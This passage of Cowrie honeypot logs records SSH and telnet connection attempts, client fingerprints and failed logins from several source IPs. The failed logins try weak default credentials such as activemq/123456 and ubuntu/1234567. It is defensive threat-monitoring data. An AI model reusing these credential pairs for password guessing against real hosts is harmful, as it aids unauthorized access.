af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:58.268784Z","src_ip":"20.193.141.133","session":"9a0508b15507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"root","message":"login attempt [ftp_user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:04:59.031008Z","src_ip":"20.193.141.133","session":"9a0508b15507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:00.216727Z","src_ip":"20.193.141.133","session":"9a0508b15507","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36516,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddea07c9b80c","protocol":"ssh","message":"New connection: 159.203.92.129:36516 (159.203.135.109:22) [session: ddea07c9b80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:09.714025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:09.922976Z","src_ip":"159.203.92.129","session":"ddea07c9b80c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:09.928393Z","src_ip":"159.203.92.129","session":"ddea07c9b80c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"activemq","password":"123456","message":"login attempt [activemq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:10.529574Z","src_ip":"159.203.92.129","session":"ddea07c9b80c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:11.581976Z","src_ip":"159.203.92.129","session":"ddea07c9b80c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":49934,"dst_ip":"159.203.135.109","dst_port":22,"session":"50b8f8bece4c","protocol":"ssh","message":"New connection: 117.247.23.131:49934 (159.203.135.109:22) [session: 50b8f8bece4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:33.753481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:33.758116Z","src_ip":"117.247.23.131","session":"50b8f8bece4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:34.478788Z","src_ip":"117.247.23.131","session":"50b8f8bece4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Password1","message":"login attempt [ansible/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:37.726434Z","src_ip":"117.247.23.131","session":"50b8f8bece4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:39.501829Z","src_ip":"117.247.23.131","session":"50b8f8bece4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33776,"dst_ip":"159.203.135.109","dst_port":22,"session":"26f288aa74e2","protocol":"ssh","message":"New connection: 159.203.92.129:33776 (159.203.135.109:22) [session: 26f288aa74e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:47.799855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:47.804313Z","src_ip":"159.203.92.129","session":"26f288aa74e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:47.809663Z","src_ip":"159.203.92.129","session":"26f288aa74e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"activemq","password":"activemq","message":"login attempt [activemq/activemq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:47.871790Z","src_ip":"159.203.92.129","session":"26f288aa74e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:48.887087Z","src_ip":"159.203.92.129","session":"26f288aa74e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.114.130","src_port":37252,"dst_ip":"10.17.0.5","dst_port":23,"session":"266ba660f469","protocol":"telnet","message":"New connection: 47.237.114.130:37252 (10.17.0.5:23) [session: 266ba660f469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:05:57.592650Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":23548,"dst_ip":"10.17.0.5","dst_port":22,"session":"4268ec6635eb","protocol":"ssh","message":"New connection: 20.193.141.133:23548 (10.17.0.5:22) [session: 4268ec6635eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:04.334040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:04.341167Z","src_ip":"20.193.141.133","session":"4268ec6635eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:04.523056Z","src_ip":"20.193.141.133","session":"4268ec6635eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567","message":"login attempt [ubuntu/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:05.290511Z","src_ip":"20.193.141.133","session":"4268ec6635eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:06.476643Z","src_ip":"20.193.141.133","session":"4268ec6635eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42486,"dst_ip":"159.203.135.109","dst_port":22,"session":"27292bf80896","protocol":"ssh","message":"New connection: 159.203.92.129:42486 (159.203.135.109:22) [session: 27292bf80896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:27.889547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:27.893725Z","src_ip":"159.203.92.129","session":"27292bf80896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:27.898202Z","src_ip":"159.203.92.129","session":"27292bf80896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"activity_analyzer","password":"123","message":"login attempt [activity_analyzer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:27.912318Z","src_ip":"159.203.92.129","session":"27292bf80896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.525721788406372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:28.118245Z","src_ip":"47.237.114.130","session":"266ba660f469","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:06:28.920847Z","src_ip":"159.203.92.129","session":"27292bf80896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":59326,"dst_ip":"10.17.0.5","dst_port":22,"session":"a875ea95230d","protocol":"ssh","message":"New connection: 20.193.141.133:59326 (10.17.0.5:22) [session: a875ea95230d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:09.397274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:09.401869Z","src_ip":"20.193.141.133","session":"a875ea95230d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:09.597454Z","src_ip":"20.193.141.133","session":"a875ea95230d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nico","password":"test123","message":"login attempt [nico/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:10.414993Z","src_ip":"20.193.141.133","session":"a875ea95230d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:11.613943Z","src_ip":"20.193.141.133","session":"a875ea95230d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49444,"dst_ip":"159.203.135.109","dst_port":22,"session":"88489a5d834e","protocol":"ssh","message":"New connection: 159.203.92.129:49444 (159.203.135.109:22) [session: 88489a5d834e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:12.189316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:12.196209Z","src_ip":"159.203.92.129","session":"88489a5d834e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:12.199996Z","src_ip":"159.203.92.129","session":"88489a5d834e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"activity_analyzer","password":"123456","message":"login attempt [activity_analyzer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:12.230623Z","src_ip":"159.203.92.129","session":"88489a5d834e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:13.238776Z","src_ip":"159.203.92.129","session":"88489a5d834e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":56496,"dst_ip":"159.203.135.109","dst_port":22,"session":"55891adfa6f0","protocol":"ssh","message":"New connection: 117.247.23.131:56496 (159.203.135.109:22) [session: 55891adfa6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:16.282467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:07:16.287616Z","src_ip":"117.247.23.131","session":"55891adfa6f0","protocol":"ssh"}
